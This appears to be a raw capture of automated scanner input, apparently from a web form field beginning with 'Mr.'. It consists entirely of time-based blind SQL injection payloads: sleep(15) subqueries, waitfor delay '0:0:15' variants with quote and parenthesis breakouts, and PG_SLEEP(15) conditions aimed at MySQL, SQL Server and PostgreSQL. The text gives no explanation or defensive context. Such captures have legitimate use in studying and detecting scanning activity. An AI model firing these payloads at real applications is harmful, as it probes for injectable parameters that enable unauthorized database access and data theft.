Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

PktLcKJZ'; waitfor delay '0:0:15' --

j8bS8Gbu'); waitfor delay '0:0:15' --

IGj5rYrE')); waitfor delay '0:0:15' --

-5 OR 748=(SELECT 748 FROM PG_SLEEP(15))--

-5) OR 26=(SELECT 26 FROM PG_SLEEP(15))--